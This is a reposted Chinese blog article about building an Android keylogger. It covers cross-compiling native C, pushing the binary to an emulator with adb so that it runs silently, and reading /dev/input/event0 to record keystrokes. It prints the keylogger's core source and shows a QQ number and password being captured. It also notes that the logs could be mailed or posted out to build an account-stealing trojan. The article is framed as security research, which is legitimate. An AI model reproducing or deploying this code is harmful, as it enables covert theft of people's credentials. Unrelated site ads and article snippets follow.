【转】Android操作系统安全研究系列——键盘记录

摘要:
今天,随着Android手机的日益普及,木马也将转移到手机上。为了更好地防止这种木马,我们应该首先了解它的原理。首先,我们需要了解Android系统。Android是一个基于Linux的操作系统,处理器是ARM。因此,要编译Android可以在x86系统(如Linux或Windows)上运行的程序,您需要一个交叉编译器。让我们来谈谈键盘录音的原理。

作 者: hacknet
以投稿在黑防6月杂志
****************************************
    盗号木马大家都很常见了,但大多数都是在windows平台下的,像阿拉QQ大盗等键盘记录程序都给用户带来不少的麻烦。在android手机越来越普及的今天,盗号木马也将会转移到手机上来,为了更好的防范这种盗号木马,我们首先要了解其原理。
    首先是要了解Android系统,Android是基于Linux的操作系统,处理器是ARM的,所以要在Linux或Windows等x86系统上编译Android能运行的程序,你需要一个交叉编译器。
    工欲善其事必先利其器,在Linux下面,你可以自已编译一个交叉编译环境,但Windows下面,就比较复杂(也可以在cygwin中编译一个),但我推荐大家选择下载一个现成的交叉编译环境:
http://www.codesourcery.com/gnu_ ... e-linux-gnueabi.exe
    这是一个命令行工具,安装好了之后,最好将CodeSourcery编译器的bin目录加入你的PATH环境变量中,就可以开始你的Android Native C开发之旅了,先来熟悉一下开发调试流程,下面写好一个简单的C程序:

#include <stdlib.h>
int main(int argc, char** argv) {
printf(
"hello
android!\nI'm %s!\nI like android very much!!!\n"
, "GuiGu");
return 0;
}


    将上述代码另存成hello.c,然后进入命令行模式,确保交叉编译器的bin目录,及Android SDK的tools目录在你的系统环境变量的path里面,用如下命令编译:
arm-none-linux-gnueabi-gcc -static hello.c -o hello
    成功编译后会在该目录下生成一个hello的文件,下面启动Android模拟器,用如下命令将文件push到Android模拟器上:
adb shell mkdir /dev/h4ck
adb push hello /dev/h4ck/hello
adb shell chmod 777 /dev/h4ck/hello
上述命令的含义是:先创建 /dev/h4ck目录,再将编译好的hello上传上去,最后将hello改成可执行的。
上传好了之后,再进入命令行模式,进入Android的shell环境:
adb shell
#cd /dev/h4ck
#./hello
进入 /dev/h4ck目录,执行hello,运行结果如下图:
    可以看到在android主界面是没有任何反应的,程序是后台静默运行的,具有很强的隐蔽性。下面说说键盘记录的原理吧。如果你做过android系统编程就会知道键盘事件用的device是 /dev/tty0,进入 /dev/input 目录,发现在3个device文件:mice,mouse0,event0,分别 cat这3个文件,发现只有 event0 有反应,如下图:
而且不管是点击鼠标还是按键,都有反应,但显示的是一堆乱码,而且点击鼠标出来的东西要多一点,这就说明,android会将用户的操作保存在这个文件中。我们只要写一段代码来分析这些乱码就可以获得我们想要的信息了,下面来编程实现吧。
为了分析 event0 的返回值,写了一段代码key.c,核心代码如下:
 
static int event0_fd = -1;
struct input_event
ev0[64];
static int handle_event0() {

int button = 0, i, rd;
rd = read(event0_fd,
ev0, sizeof(struct input_event) * 64);
if ( rd <
sizeof(struct input_event) ) return 0;
for (i = 0;
i < rd / sizeof(struct input_event); i++) {

if (ev0.type == 1&&ev0.value == 1) {

printf("您按下键盘的编码是: %3d\n",
ev0.code);

if (ev0.code == 158) {

return 0;

}

}
}

return 1;
}
int main(void) {

int done = 1;
event0_fd =
open("/dev/input/event0", O_RDWR);
if ( event0_fd
< 0 )
return -1;

printf("开始键盘监听...\n");
while ( done ) {

done = handle_event0();

}

用交叉编译器编译好后push至虚拟机中执行后,切换到android 模拟器,在模拟器上进行输入操作,程序就会打出你点击的按键信息,效果如下:
分析上面记录的键盘编码,发现当按下的键盘按键和编码是一一对应的,如上图所示,我们输入的QQ号码是1234567,记录的按键编码是2345678,然后我按了一下密码框,记录键盘编码是330,密码输入的是guiguxiansheng,如图也截取到了相应的键盘编码,其他的按键没有仔细去看它们的键盘编码返回值,反正已经正确得到键盘记录了,如果要做一个真正的盗号木马。可以将记录下来的键盘发送到指定邮箱或post到指定网页。作为演示我们就到这里。
手机淘宝、手机网银越来越普及了,希望杀毒软件常常能关注一下手机安全领域,尽早做好防范措施。

免责声明:文章转载自《【转】Android操作系统安全研究系列——键盘记录》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇rabbitmq的笔记(三)用Python生产和消费【技术贴】jsp出现getOutputStream() has already been calle下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

《Linux总线、设备与驱动》USB设备发现机制

说明:本分析基于mstar801平台Linux2.6.35.11内核,其他内核版本仅供参考。 一、程序在内核中的位置 1.usb host做为pci总线下的一个设备存在(嵌入式系统中有可能也会直接挂在CPU上);这部分驱动由厂家实现,本分析以mstar为例。 2.USB总线驱动 kernel/drivers/usb/core/driver.c [cp...

Ubuntu系统字体安装

  用惯了Windows,刚转到Ubuntu时总感觉字体显示没那么亲切,尤其是中文字体,在网页上显示特别怪。有些软件对中文字体的支持也不好,WebStorm中的Git logs中文也显示乱码。把系统语言设置成中文,Git logs无法显示中文的问题解决了,但英文的菜单字体又显示怪怪的。简直无法忍受!   怎么办?在百度上搜到这篇文章,说是可以把Window...

linux nand flash常用命令

使用命令前用cat /proc/mtd 查看一下mtdchar字符设备;或者用ls -l /dev/mtd*#cat /proc/mtddev: size erasesize namemtd0: 00c00000 00020000 “ROOTFS”mtd1: 00200000 00020000 “BOOTLOADER”mtd2: 00200000 0002...

linux下依赖库的版本问题引起的安装失败:libssl-dev版本问题无法安装 :libssl-dev : 依赖: libssl1.0.0 (= 1.0.1-4ubuntu3) 但是 1.0.1-4ubuntu5.31 正要被安装

依赖库版本问题引起的安装失败解决方法如下有两种: 1、是由于源需要更新,如下操作: libssl-dev : 依赖: libssl0.9.8 (= 0.9.8o-1ubuntu4) 但是 0.9.8o-1ubuntu4.4 正要被安装 解决方法 进入“系统->系统管理->更新管理器->设置”,在弹出的“软件源”对话框中选“更新”标签...

Arch Linux 分区设定以及新增用户等命令

一.启动虚拟机  二.进入live(选择第一个) 进入root根目录 cd /  三.硬盘分区   Ⅰ.查看设备信息 fdisk -l 或者 lsblk    Ⅱ.分配空间 cfdisk /dev/sda          Ⅲ.格式化分区 mkfs.fat /dev/sda1 mkswap /dev/sda2 mkfs.ext4 /dev/...

/dev/sdxx is apparently in use by the system; will not make a filesystem here! 解决方法

 在存储上共享了一个500G的空间,映射到Linux系统提供上,环境由2个节点组成。 一. 测试一: 直接mount 用fdisk 格式化之后如下: [root@rac1 u01]# fdisk -l …… Disk /dev/sdk: 536.8 GB, 536870912000 bytes 255 heads, 63 sectors/track,...